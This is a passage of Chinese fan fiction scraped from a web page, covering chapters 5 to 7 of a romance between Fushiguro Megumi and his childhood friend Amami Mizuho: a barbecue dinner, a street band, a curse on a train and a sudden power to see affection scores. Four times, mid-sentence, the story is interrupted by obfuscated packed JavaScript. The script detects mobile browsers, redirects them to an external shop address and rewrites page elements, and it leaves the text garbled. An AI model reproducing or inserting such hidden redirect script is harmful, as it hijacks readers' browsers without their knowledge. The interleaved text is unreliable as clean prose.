有时候隔一两天才回消息,甚至还会做出“已读不回”这样让人深恶痛绝的事情。 这不能怪她。 天海瑞穗理直气壮地想。 她好多次怀疑这学校是不是搞邪.教的,在骗她幼驯染。 然而五条悟却像是看出了她的想法一样,特地跟她做出了高专不是骗子学校这样的保证。 但就算不是骗子,伏黑惠自打入学之后就忙的不可开交,这是事实。 然而现在,在这种气氛下再提起刚才的话题也绝非一个好的选择。 “今天学校里没有事情要做吗?”天海瑞穗于是顺着他刚才提出吃烤肉的示好信号,也给了一个小小的台阶。 “嗯。”伏黑惠点头,神色却并没有放松,“五条老师给我们放了假。” 放假? 天海瑞穗有点惊讶。 已知伏黑惠就读于一个总是压榨学生做事情的变态学校,而现在距离黄金周不过四天,在这个节骨眼上放假,那他们黄金周岂不是要补课? 她这个猜测立刻就得到了肯定。 “还没有通知——” “但是大概率是这样……对吧?”天海瑞穗接上他的下半句话。 尽管对方表现得很自然,似乎和平时别无二致,但神色里多少是透露出一点疲惫了的。 天海瑞穗的心瞬间就软了。 “你们这什么烂学校啊,法定节假日还要占人时间……我迟早举报掉。”她有点心疼幼驯染,小声叨叨了几句,把已经烤好的肉夹到伏黑惠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13456781|141608||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 盘子里。 这当然也是伏黑惠烤的,只是经由天海瑞穗的手回到了他盘子里。 他神色缓和了点,默不作声地又烤了几片,这才动筷子吃。 和伏黑惠在一起最大的好处就是可以什么都不用操心,甚至天海瑞穗水都不用自己倒。 她看着眼前很自然地给自己添水的那只修长漂亮的手,突然就不好意思起来。 其实在没有小惠的时间里,什么都是她自己动手,甚至会很细心地去照顾别人。 天海瑞穗想不通自己为什么在伏黑惠面前总是下意识撒娇。明明在津美纪面前都不是这样的。 她想不明白,但是她觉得这样不太好。 双标是不对的! 这么想着,天海瑞穗打算接过茶壶礼尚往来,手于是伸过去,无法避免地碰到了伏黑惠的手。 比她的手要凉很多。虽然也有她体温偏高的原因在,但伏黑惠的体温的确也比正常人要低一点。 小时候他手就很凉,天海瑞穗那时候要么给他接杯热水,要么故意多买两个包子,以拿不下这样蹩脚的理由塞给他。总之是变着法的帮他暖手。 间隔许久再次触碰到他的手,天海瑞穗愣了一下,掌心覆上去,下意识想给伏黑惠捂一下。 她的手是柔软而温热的,覆上来的时候,指尖稍稍用力地收紧。 这种感觉伏黑惠并不陌生,但他很难习惯。 茶壶抖了一下,几滴茶水滴落在桌面上。 他抬眼,对上了天海瑞穗圆圆的眼睛。 绿色的,像浸了水的新芽。 “……” 少年纤长的睫毛缓缓垂下,像是一窗薄纱,遮去一些外露的情绪。 他把茶壶让出去,扯了两张纸巾,擦掉桌上的茶水。 天海瑞穗已经给两人都满上茶水了,她看上去似乎对刚才的插曲完全不在意。 但伏黑惠做不到。 特别是对方这副无所谓的样子,让他更加心烦意乱,连表面的平静都很难维持住了。 “不要突然抓上来。”他臭着脸,语气却并不凶。 天海瑞穗很乖地点头:“好哦。” 看上去的确很乖很听劝。 不过作为从小一起长大的幼驯染,见多了她装乖糊弄人的事情,伏黑惠知道她就是做做表面功夫,下次还敢。 他一脸冷漠:“提前打过招呼也不行。” 天海瑞穗嘴巴微微动了一下,发出含糊的一个短音,想要就这么蒙混过关。 心里却开始了碎碎念。 明明小时候和她很亲近,也有稍微幼稚的一面,为什么长大之后就变得这么不可爱了呢? 她撅撅嘴,把锅全扣在了五条悟和高专上。 她的幼驯染成绩不错,却放着那么多好的高中不去,非要去什么宗教学校,真不知道五条悟给小惠灌了什么迷魂汤。 她迟早把小惠从水深火热里拉出来。 迟早! 莫名其妙感觉背后一阵发凉,伏黑惠不动声色地看了一眼天海瑞穗。 他的幼驯染鼓着脸颊,看上去气呼呼的。 总觉得她好像在想些什么奇怪的事情,但伏黑惠的直觉告诉他不要深究。 会变成笨蛋的。 5. Chapter 5 吃完饭后,伏黑惠送天海瑞穗回家。 天已经完全黑了,街道上行人依旧很多,还有两个抱着吉他演奏的,旁边稀疏地有人在站着听。 天海瑞穗对音乐其实并不热衷,但是在看到吉他的时候,她想到了同班的后藤一里同学。 她的拨片如果能顺利找到就好了。 因为这一层原因,天海瑞穗轻轻扯住伏黑惠的袖子,在他垂眼看过来的时候,眼睛微弯:“我们一起去听吧。” 伏黑惠没说话,但是很顺从的任由她拉着袖子走过去。 演奏的人水平怎么样天海瑞穗听不出来,但她觉得还挺好听。 除此之外,天海瑞穗还发现这两把吉他长得不一样,不是形状和颜色的区别,而是大小和弦数的区别。 仔细听,音色也是完全不同的,一把就是她印象中吉他的声音,另外一把,却是低低的“嘣嘣”声。 她有点新奇,把这个发现小声告诉了伏黑惠。 不知道为什么,黑发少年微愣了一下之后,避开她探究的视线,很轻很轻地笑了。 他很少笑,总是木着一张脸,虽然唇角只是浅浅牵起一个弧度,却已经好看到让人移不开眼睛了。 天海瑞穗不知道他为什么突然笑,但是她觉得很开心。 只要小惠开心,她也会感到幸福的。 在天海瑞穗不解却又莫名盛满笑意的目光里,伏黑惠往她这边微微侧身,也放低了声音:“因为另外一把琴不是吉他,是贝斯。” 天海瑞穗:“……” 啊……这、这样的吗? 好的,她不幸福了。 她脸有点发烫,迅速回头不去看伏黑惠,又仔细观察了一下这把白色的贝斯。 她当然是知道有一种乐器叫贝斯的,但她毕竟没见过,不知道区别很正常嘛! 没错!很正常! 十几秒后,天海瑞穗调整好了心态,她晃了晃伏黑惠的手臂,丝毫不吝啬对他的夸夸:“小惠知道的好多,好厉害!” 这下轮到伏黑惠别开脸沉默了。 他知道天海瑞穗最爱说这些好听话,哪怕是多吃半碗饭,她都要真心实意地夸个半天。 但清楚和适应是两码事,低头对上她比自己颜色更浅一点的绿色眼睛时,伏黑惠的呼吸还是微微停滞了一瞬间。 “只是在网络上看到过。”他姿态僵硬。 大概是演奏很出色,来听的人更多了,天海瑞穗不得不往伏黑惠那边凑了凑。 隐约间,她好像听见了很耳熟的声音,在说着livehouse的字眼。 天海瑞穗顺着声音看去,是一个红色头发的女生,她正好认识。 隔壁班的喜多同学。 对方也察觉到她的注视,正好看过来。 她招招手,很开心地打招呼:“喜多同学!” 好不容易聚到一起的时候,她们已经在最外围了。 虽然不同班,但天海瑞穗和喜多……等等,她好像还不知道喜多同学的全名——大家都叫她喜多。 仔细想想,喜多同学好像总会巧妙地回避掉这个问题。是不喜欢自己的名字吗?她这么想着,却也不打算在这里多做纠结。 总之两人都是那种人际关系处理得很好的现充,所以尽管不同班,也还是关系不错。 理所当然的,喜多以为伏黑惠是天海瑞穗的男朋友。 想想看,在学校里人气很高的天海瑞穗为什么拒绝每一个来告白的人呢?果然是因为有一个外校的男朋友嘛! 对方看上去酷酷的,颜值方面也和天海瑞穗很配。 她在心里默默点了个赞,但并不打算在这种有关于对方隐私的事情上多嘴。 “没想到天海同学也对乐队感兴趣!”她有更在意的事情。 “诶?”天海瑞穗连忙摆摆手,“我只是正好路过,觉得好奇就停下来听了。” “这样啊……那天海同学觉得怎么样?” 看着喜多同学亮晶晶的眼睛,天海瑞穗很难说出她几分钟前才知道吉他和贝斯的区别这件事,很含糊地夸了夸。 她是真的觉得很好听啦,所以也不算说谎……吧? 可是加缪说过,在人心灵的层面上,说出来的比内心感受到的更多,就是在说谎。 她有点心虚得攥紧了手指。 好在喜多同学似乎并没有注意到她的不自然。 见她表现出了对这方面的兴趣,喜多于是向她推荐了一些乐队的演出。 天海瑞穗怕忘,于是喜多说一个,她就给伏黑惠发一条消息。完全一副把对方当成备忘录的样子。 “小惠对这些感兴趣吗?下次一起去看演出吧?”和喜多同学告别后,天海瑞穗收回放在她越来越小的背影上的视线,试探地提出邀约。 其实并不怎么感兴趣,真的只是恰好刷到,又恰好他记性比较好而已。今天停下来聚在这里听,也只是因为天海瑞穗好像很感兴趣。 但伏黑惠没有说不。 仅有两人的街头演奏还在继续着,吉他的声音亮而抓耳,贝斯温暖厚重,正好填补了低频的空缺。 在这越来越远的旋律中,天海瑞穗小声的絮絮叨叨竟也像一曲轻柔的歌谣。 “……你在听吗?”好久没得到回应,天海瑞穗停下脚步,不满地看着伏黑惠。 “嗯。” “那我刚才说了什么?” “……” 伏黑惠顿了顿,试探道:“校园祭你们要演悬疑剧?” 天海瑞穗气呼呼:“那是上一个话题啦!” 伏黑惠:“……” 眼看她气成了一只河豚,他调整了一下语气:“抱歉……你再说一遍?” 伏黑惠垂眸看着她,睫毛又长又密。 面对着幼驯染这张漂亮的脸,天海瑞穗没脾气了。 刚才叽里咕噜说了一大堆话,她现在嘴巴干得要命,甚至觉得自己能喝下一整桶水,更没力气去谴责伏黑惠不好好听她讲话了。 她看向旁边的便利店,很好哄地说:“那你请我吃棒冰,我就原谅你。” 便利店里,两人站在冰柜前挑喜欢的棒冰。 津美纪喜欢冰淇淋多一点,因为口感更好,奶香味也足。 而天海瑞穗对吃的东西完全不挑,一般来讲都是伏黑姐弟拿哪个她就吃哪个。 不过今天不太一样,她看见了熟悉的包装,并且非常、非常迫切地想要这个。 她戳戳伏黑惠的手臂,语气轻快地像蜻蜓轻点水面:“小惠小惠!” 伏黑惠手指无意识蜷缩了一下,侧过脸看她。 “有喜欢的人!”她指着一个蓝白的包装袋。 天海瑞穗神情雀跃,因为在侧着身子看他,她金色的长发微微倾斜着垂在冰柜侧壁上。 她好像很希望他能说出什么让她满意的话来。 可是,说什么呢? ——有喜欢的人。 伏黑惠一时间完全不知道该作何反应,只能面无表情地回视。 事实上,能做到这样,已经是他尽最大努力的结果了。 天海瑞穗却好像完全没注意到他沉静表面下的惊涛骇浪,已经收回了视线。 她拿起那个棒冰,看上去和其他的没有什么两样,却让她露出了惊喜的笑容。 “是桐谷美玲和山崎贤人演的那部剧呀。”她笑眯眯地揭晓了答案,“有喜欢的人。” “我和津美纪一起看的,当时不是还拉着你一起看了一部分嘛,小惠已经忘记了?” 其实在她说出主演名字的那一刻,伏黑惠就立刻回忆起了剧情。 甚至连当时三人是以怎样的姿态团在沙发上看的,说了些什么话,天海瑞穗又是怎样从他手里叼过西瓜,说好想去江之岛看看……这些回忆都好像是播放dv那样清晰可见。 他点头,压下心底那一丝说不清道不明,当然也决不能流露出来的失落感。 伏黑惠没移开视线,只语气平静地回应她:“嗯,是同款苏打棒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13456782|141608||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 冰。” “你记得啊。”听到他的回应,天海瑞穗更开心了,“本来想拿papico我们一起吃的,但是现在更想要这个了。” 好巧不巧,旁边就是咖啡巧克力口味的papico棒冰。 这个棒冰一袋里面有两根,天海瑞穗很喜欢买三袋不同口味的,他们三个人正好一人两根,口味一般是随机分,只要确保不要分到同样的口味就好。 此刻,伏黑惠的手已经下意识要去拿这个棒冰了。他买papico的话,天海瑞穗就可以在吃到苏打棒冰的同时,多吃一根巧克力口味的棒冰。 但是莫名其妙的,就像是手有了自己的意识一样,他拿起了旁边和天海瑞穗一样的蓝白色包装袋。 伏黑惠唇角抿成一条直线,有点懊恼地垂下手:“你还要吃别的东西吗?” “不吃了。”不明白他为什么突然间心情变得不好起来,天海瑞穗摇摇头,觉得事情有点难办。 原本以为伏黑惠约她吃饭是示好的意思,她也顺势给了同等的回应,无论是一起去看乐队演出的邀约,还是主动提及曾经一起看过的剧,都是她所能做出的最委婉的示好了。 可是伏黑惠看上去好像完全不吃她这一套,还是一副不高兴的样子。 没错,两人其实正处于一段冷战之中。 或者说闹别扭,尴尬期? 天海瑞穗承认自己最开始确实有点别扭,但当她很快就整理好了心情,尝试和好的时候,却遭到了伏黑惠的冷处理。 伏黑惠在躲着她。 这一点无需怀疑,他已经做得非常明显了。明显到连津美纪都立刻发现了不对劲,找她来谈过一次心。 好不容易他主动来找她,态度还这么温和,眼看着有了一次破冰的机会,天海瑞穗理所当然要牢牢把握住。 她一言不发地跟着伏黑惠结了账,走出便利店,继续朝着家的方向走。 她之所以高中来音驹,很大一部分原因是因为母亲的工作调动。 在距离学校还算近的住宅区,母亲租了一间公寓。她平时都是坐电车回家,虽然吃饭的地方和家是一个方向,但要走回去还是太远了点。 其实到这里天海瑞穗完全可以自己回去的,但是她有意和多和伏黑惠相处一会儿,于是没有主动提出分开。 伏黑惠当然也不会这么做。 虽然离诅咒多发的燥热夏季还有一段时间,但不知道为什么,最近诅咒活跃的有点过头了。 他今天主动约天海瑞穗,也是因为她学校出了点事,这件事将会交给咒术高专来处理。 听说是音驹的时候,他有点担心,五条悟干脆拿过他的手机给天海瑞穗发了消息,笑眯眯地叫他去找她。 他原话是这样的:“担心的话去见她不就好了。” “这个任务就交给你了,不亲手解决掉的话,一定会担心到饭都吃不下的吧?老师都懂的哦,青春嘛!” 谁会担心到吃不下饭啊。 不过因为高校学生失踪案,伏黑惠最近非常关注津美纪和天海瑞穗的行程,当然也不可能在这个月亮高高挂起的时刻让她独自一个人回家。 于是两人一起来搭乘电车回家。 奇怪的是,明明这个点也算是个高峰期,车厢里却只零星坐着几个人,天海瑞穗甚至觉得有股奇怪的阴冷感。 “要不我们还是走着回家吧?”她小声道,“总感觉有点不妙。” 然而来不及回头下车了。 这让人头皮发麻的感觉在登上电车的那一瞬间达到顶峰,她双瞳紧缩,警惕地抬手抓住了伏黑惠的手腕。 很用力,用力到伏黑惠甚至感觉她的指甲都要陷进自己的皮肤里了。 有那么一瞬间,他非常庆幸自己一察觉到咒灵的气息就立刻悄无声息地放出了玉犬。也庆幸这只是一只三级咒灵,玉犬足以自己解决。 否则此刻,他就只能暴露自己最不愿暴露在天海瑞穗面前的秘密。 ——身为咒术师的秘密。 6. Chapter 6 放出去的玉犬已经撕开了诅咒的身体,大概是因为察觉到了主人略有些不安的心情,撕咬的动作也比平时更凶更狠。 按理说,在生命受到威胁的时候,普通人也可以看得见诅咒,但因为有伏黑惠在,天海瑞穗所感受到的威胁也是被削弱很多的,距离生命垂危就更远了。 而当天海瑞穗隐约感觉自己好像看见了什么虚虚的影子,眯起眼睛想要看得更清楚的时候,一黑一白两只玉犬连忙呜咽着钻回了主人的影子里。 与此同时,压在天海瑞穗头顶的重压消散掉了。那股让人寒毛直竖的阴冷感也随之消失。 “……好像,又变好了?”她喃喃自语,“好奇怪,是错觉吗?” 伏黑惠则轻轻点头:“错觉吧。” 尽管伏黑惠说是错觉,但或许是因为早上说高校学生失踪时不安的感觉延续至今,天海瑞穗很难放下心来。 “可是我刚才真的感觉好可怕。”她很认真地看着伏黑惠,“不是在开玩笑。” 对着那双和自己同色系的眼睛,伏黑惠只能表以沉默。 他会认真倾听天海瑞穗的任何话语,她天马行空的想象力,她无意义的碎碎念…… 他都会认真倾听并一一给出回应。 只除了这个。 咒术,诅咒。 另一个世界。 她所不知道的伏黑惠。 见他不为所动,天海瑞穗因为紧张而微微抿起的嘴唇轻轻松开了。 “果然还是我的错觉吧,最近一直在接触怪谈什么的……稍微有点草木皆兵了。” 她收起多余的表情,这才发现刚才因为害怕而紧紧扣在伏黑惠手腕上的手还没有来得及撤回来。 因为实在太用力了,在他手腕上留下了几道印子,周围泛着一片红。 甚至还有几道她指甲的掐痕。 天海瑞穗小心翼翼地用指腹碰了碰,很愧疚:“对不起,我刚才太害怕了……很疼吧?” 伏黑惠垂下手,让制服袖口顺着盖住这片皮肤:“没事,先坐下吧。” 他态度依旧平和,就像刚才什么事都没发生过。 点点头跟着坐在他旁边,天海瑞穗心里五味杂陈。 她并没有留很长的指甲,别说美甲了,连普通的护甲油都没涂。 但她力气大啊。 指甲在掌心划过,带过细微的刺痛感,她垂着脑袋去看,皮肤上显现出白色的几个小印子,下一秒就消失了。 天海瑞穗环顾四周,车厢内的其他几个人似乎什么都没感觉到,都是一脸浑浑噩噩,仿佛下一秒就要倒下。 完全就是一副社畜的样子,好像刚才那股让她头皮发麻的感觉完全就是一场梦、一个错觉一样。 但天海瑞穗很相信自己的直觉,刚才一定有她不知道的事情发生了。 她偷偷去瞄伏黑惠,少年正在单手回复消息。是谁的消息她当然不会去窥探,但不等她收回视线,就对上了一双漂亮的绿色眼睛。 大概是捕捉到了她的小动作,所以伏黑惠回以一个询问的眼神。 他从小就特别敏锐,什么心思都逃不过他的眼睛。 见她没有反应,像是在发呆,伏黑惠收起手机,一只手在她眼前小幅度晃了晃。 天海瑞穗这才回过神来,她眨眨眼,决定当刚才什么都没发生过。 她只知道他的学校和宗教有关,很忙,非常忙。 可是伏黑惠到底为什么要去宗教学校,五条悟在其中又扮演着怎样的角色? 这一切都莫名其妙的,唯一的指向就是他和五条悟两个人的秘密。 ——不被她和津美纪所知道的秘密。 但是伏黑惠想瞒,她当然也不能逼着他讲,天海瑞穗太清楚人与人之间交往的界限了。 她唯一期望的就是伏黑惠不要去做什么危险的事情,照顾好自己。 只要他平安,她可以不去过问任何事。 “说起来,你还没跟我讲过新学校呢。”天海瑞穗拙劣地转移话题,“我都不知道你的学校具体在哪,同学好不好相处,有没有交到新朋友。” 伏黑惠回想了一下目前仅仅只有自己一个人的高专一年级,又想了想性格迥异的前辈们,实在很难对天海瑞穗的问题作出一个具体的回答。 “还行。”他含糊着点点头。 天海瑞穗很天真:“那就是还不错的意思?” 知道她总爱担心,伏黑惠顺着她再次点头。 “那下次带我去看看嘛。”见气氛逐渐开始轻松起来,天海瑞穗试探地提要求,“你们学校是住宿制对吧?我特别好奇你宿舍。” 他的宿舍……假如去了高专,暴露的可能性会成倍增长。 伏黑惠垂下眼:“没什么好看的,和家里差不多。” 尽管得到了这样的回复,但天海瑞穗依旧坚持:“小惠——” 她两只手合在一起,歪了歪身子好让自己能出现在伏黑惠的视线范围内:“不要拒绝我嘛。” 伏黑惠侧开脸不去看她,假装自己听不见。 然而下一秒,天海瑞穗的脸又重新出现在了他眼前。 她唇角向上,完全就是一副笃定了他一定会同意的样子。 伏黑惠:“……” 他沉默着点点头。 他还能说什么,天海瑞穗最擅长让人答应她的各种要求了。 无论是他还是津美纪,都没办法对她说出什么拒绝的话来。 得到他的承诺,天海瑞穗心满意足地端正坐姿。 伏黑惠本就话少,她要是不开口,那两个人基本上就会沉默一路。 但没人觉得这安静有什么不好。 因为是和最亲近的人在一起。 天海瑞穗和母亲目前住在一个小出租屋里。 往上看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13456783|141608||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,这一整栋小楼都亮着暖黄色的灯,照得走廊的栏杆都泛着暖光。 只有三楼左边的一户是一片漆黑。 那是天海瑞穗的家。 伏黑惠并不打算上去坐坐,只送她到楼梯口。 “我就知道妈妈还在加班。”天海瑞穗皱皱鼻子,很快又无奈地笑了一下,“也挺好。” 到底为什么好,她没说,只是往前走了几步,然后踮起脚尖转了个身。 很轻盈,裙摆微微扬起又下落。 天海瑞穗背着手,笑眼弯弯地看着他:“那晚安啦,小惠。” 这一切都印在伏黑惠的眼睛里,他点点头:“晚安。” 而那片盈盈绿意里,少女的背影像一个金色的光点,轻轻闪了几下,就消失在了灰黑的楼梯拐角。 这栋小楼于是恢复了暗淡与寂静。 伏黑惠正要转身,就听见了少女轻快的声音:“下次见!” 他抬头,天海瑞穗站在上一个楼梯口上,双手扒着扶梯,低着头看他。 一部分金色的长发像阳光那样倾洒下来,在空气中微微晃了两下,又逐渐归于平静。 “嗯,下次见。” 第二次道别后,天海瑞穗小跑着上了楼。 然而踏上三楼的时候,在楼梯拐角,她再一次对着伏黑惠挥了挥手:“哇——我还能看见你诶!” 大概是因为不舍,然而她的不舍又没法明说。于是这份将露不露的情绪最终只能化作一次又一次的回眸和挥手。 伏黑惠有点无奈,只能对着她的笑脸挥挥手。 直到再也听不见她“哒哒”的脚步声,伏黑惠才转身离开。 然而在迈入街道的那一刻,说不清是为什么。 ——或许是受天海瑞穗影响,又或许是他心中也多少有点难以言说的情绪。 伏黑惠抬了头。 而他的幼驯染,天海瑞穗。她就立在那片唯一的黑暗里,两臂支在喷了漆皮的栏杆上。 旁边人家的灯光似乎完全没能照料到她一星半点,唯有月光笼罩在她莹莹的面庞上,像是为她披上了一层洁白的薄纱。 “我今天很开心哦。”她的声音轻柔得好像一缕烟,只好拜托晚风捎给伏黑惠听。 “希望小惠也是,晚安。” …… 一阵静默。 被天海瑞穗率先打破:“你真的不打算说点什么吗?这样显得我好尴尬。” 要他说什么?晚安?还是今天很开心? 可这些都不是他想说的。 他真正想说的话没法说出口。是一个秘密。 “……不要这样扒在栏杆上,很危险。”最后,伏黑惠这么说。 虽然是句说教的话,他的神情却比今天的任何时候都要更加柔软。 嘘—— 不要告诉他。 这是天海瑞穗和晚风的秘密。 7. Chapter 7 天海瑞穗,音驹高校高一生,目前陷入了人生的一大难题。 她好像,觉醒了什么奇怪的超能力。 吃早餐的时候,从母亲的头顶看到了一颗红色的爱心,旁边附着一个数值:【97】 以为是自己没睡醒,天海瑞穗擦了擦眼睛,又掐了好几下胳膊。 疼的。特别疼。 不是在做梦的话,那就是她脑袋出问题了? 创伤后应激障碍? 可是因为白天的事情做了一晚上噩梦……这算什么创伤啊! 天海瑞穗虽然小时候爱上蹿下跳,但她身体素质好,很少生病。要她突然接受自己脑袋出问题了,还是一种闻所未闻的特殊病症——这种事情不要啊! 见她抿着唇,表情悲壮得仿佛即将赴死一样,母亲天海筑紫奇怪地询问:“怎么了?一脸难过的。” “不,没什么。”本着先不给母亲添麻烦的想法,天海瑞穗摇摇头,悲痛道,“只是以后可能吃不到最爱的零食了。” 你的最爱那么多,到底在说哪一个? 天海筑紫忍着没问,只是说:“那还真是天大的悲哀呢。” “是啊。”天海瑞穗点点头。 没关系的,说不定过一会儿就自己好了呢,人类可是很顽强的! 出门前,天海瑞穗还在心里这么宽慰自己。 然而出了门后,她就傻眼了。 全世界都是灰的蓝的,偶尔夹着一两个绿色的。 救、救命啊! 慌神过后,她努力平复着心情,从这些颜色中找到了一点规律。 比如说,灰色旁边的数字在10以内的这部分人,她也都不认识。 蓝色则是在10-30之间,大部分人她都认识,但并不熟,也没有讲过几句话。 而这些头顶绿色,旁边数字在30以上50以下的人,她恰好都认识,经常见面,见面也一定会打招呼,不过聊天并不多。 这个设定怎么感觉有点眼熟? 天海瑞穗坐上电车,和往常一样没有座位,她一只手握住把手,看着窗外飞驰而过的风景发呆。 如果不看着窗外的话,她就要被满车的爱心淹没了! 这是天海瑞穗人生中最希望自己能被柯南附体的一天。 好想像他那样一脸自信地说出“真相只有一个”,然后搞清楚一切。 电车行驶间离学校越来越近,她眼中逐渐出现了新的颜色。 明亮的黄,分数是65。 下了电车后,对方立马就蹭了过来:“今天好晚啊。” 按照天海瑞穗平时出门的时间,并不会遇见她。 “睡过头了吗?”她问。 不,只是因为太震惊所以早餐花了两倍时间。 天海瑞穗心里的小人抹去眼角挂着的泪。 学校里有不少头顶黄色的人,天海瑞穗打了一路招呼,终于来到教室里,机械地放下双肩包,双手自动掏出这节课要用的书本,然后盯着双葉优头顶发呆。 她目光炯炯,盯得双葉优浑身难受,她缩缩肩膀,下意识摸了下发顶。 头发触感软软的,并没有秃头。 那干嘛这么看她?感觉头顶凉飕飕的。 双葉优向小泉花音投去求救的目光。 见状,小泉花音走过来,坐在双葉优特地分出一半的椅子上,抬手摸摸天海瑞穗的额头。 “怎么了?不舒服吗?要不要去医务室休息一会儿,老师那边我去说。” 好温暖的一句话,和她头顶的颜色一样温暖。 天海瑞穗握住她的手腕牵到桌上,一脸高深莫测:“真相只有一个。” 破案了。 她昨晚估计熬夜看漫画了。 两人放下心来。 天海瑞穗也放下一半的心。 咳咳,现在是名侦探瑞穗的频道。 根据她的推理,今天的异状有两个解释。 一——她拥有了能够看见别人好感度的能力。就像Otome Game一样,好感度被分为几个阶层,有不同的颜色区分。 她目前看到最高的是母亲,有97,是唯一一个红色爱心,下面就是双葉优的粉色和小泉花音的橙色,数字分别是83和79。 第二个解释,她脑子还是出了问题,这其实是她对别人的好感度,这些爱心和数字根本就不存在,只是她内心世界的投映。 至于怎么区分,其实也很简单。 天海瑞穗喝着双葉优给的白桃味淡牛奶,把小泉花音给的绿茶放进桌框里,打算午休的时候喝。 半瓶牛奶喝完,她要等的人也到了。 可能是觉得热,孤爪研磨只穿着黑色的毛衣马甲,外套搭在臂弯上,眼下能看到淡淡的黑眼圈,让人疑心他究竟睡得多晚。 天海瑞穗看向他的头顶。 黄色的,很闪。旁边标着56。 这下是真的“真相只有一个”了。 如果是她的好感度,那现在孤爪研磨头顶就该是橙色了。 天海瑞穗彻底放下心来。 看样子,她脑袋没出问题。 不仅没出问题,甚至还有了超能力。 换给任何一个处于中二期的高中生,或许这都是个鸡肋的能力。 不是魔法少女,没法拯救世界,也没有让她变强或者变聪明。 但对于天海瑞穗来讲,这绝对是最好的超能力之一。 因为她正处于恋爱困难阶段。 困难到她甚至怀疑自己是不是被诅咒了。 最开始发现不对劲是在半年前,她还在帝光中学读国中,向第二个一见钟情的对象赤司征十郎表白。 虽说他们不在一个班,但天海瑞穗是很擅长社交的人,参加起活动来更是积极,实际上两人相处的机会还挺多。 按理说她的表白应该是可以成功的——明明赤司也表现出了对她的好感。 但事实就是,她被拒绝了。 并且是那种很官方的,甚至有些过分体面的拒绝。 这种体面对她来讲是残忍的。 就好像在冬天,她每天都外出捡干树枝,好不容易攒了一年,用它们点燃了一把篝火。这篝火太小了,她每天除了要加新的树枝进去,还要挡着风免得被吹灭。 但赤司征十郎给她泼了盆冷水。 他客气得好像他们根本就不熟悉,只是见过几次面知道名字的关系。 那天被拒绝的惨痛记忆实在令人不愉快,天海瑞穗认定了她是遇见了传说中的爱情魔咒。 假如这不是,那赤司征十郎为什么要拒绝她? 不过现在时间过去了小半年,天海瑞穗也早就已经放下这段感情了。 她毕竟不是第一次表白被拒,多多少少都可以说是擅长面对这种失落的情绪的。 ——假如她没有抱着幼驯染哭个半晚上,这话都还算可信。 天海瑞穗沉沉地叹了口气。 幼驯染也不要提比较好。 她那天实在有点太上头了,情绪失控下做出什么事都不奇怪。 想到这里,天海瑞穗更难过了,她的恋爱经历未免有点太过于凄惨了。谈恋爱原来是一件这么困难的事情吗? 从那一天开始,她对恋爱产生了超乎寻常的执着。当然不是说她要随便找个人谈恋爱的意思。 只是,她绝对不要再失败了。 天海瑞穗讨厌被拒绝。 于是现在,得到这个能够看到别人好感度的超能力的时候,天海瑞穗觉得自己就是全世界最幸运的人。 想想看,之前的失败或许是因为她太高估自己,可是现在不同,有了这样的能力,她要是喜欢上某个人,完全可以依靠好感度来判断对方对自己的感情。 等到好感度到了一定的高度之后,再表白就一定不会被拒绝了吧。 她甚至还可以根据好感度的升降来判断自己应该怎么做。 除开恋爱,这种能力在职场上也会有用的吧,谁喜欢她谁讨厌她,谁是真的为她好、又是谁在阴阳怪气使绊子,这种事情不是看一眼就能知道了吗? 多好的能力啊!天海瑞穗越想越觉得自己有前途。不过比起很多年后的步入职场,还是利用这个能力谈一场校园恋爱更重要吧? 首先是要搞明白不同颜色代表的好感度阶段。 红色自不必说,是深爱的程度,接下来的粉色爱心数值是80-90,不说爱,喜欢肯定是有的。 她拍拍双葉优的肩膀,问她:“小优,如果我像你表白的话你会接受吗?” 双葉优:“……什么?” 天海瑞穗又重复了一遍。 不仅双葉优,听见她话的人都一脸震惊。 但天海瑞穗没想那么多,见双葉优很为难的样子,她突然福至心灵:“那假如我是男生呢?” “你要是男生的话,那我肯定答应啊。”双葉优放下心来,曲起手指在她额头上轻轻弹了一下,“你吓死我了,我刚才想怎么才能委婉地拒绝你想得脑细胞都要死光了!” “居然想拒绝我,小优好过分。” 天海瑞穗控诉一句,摸摸一点也不疼,就只是被碰了一下的额头,转身去问坐在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 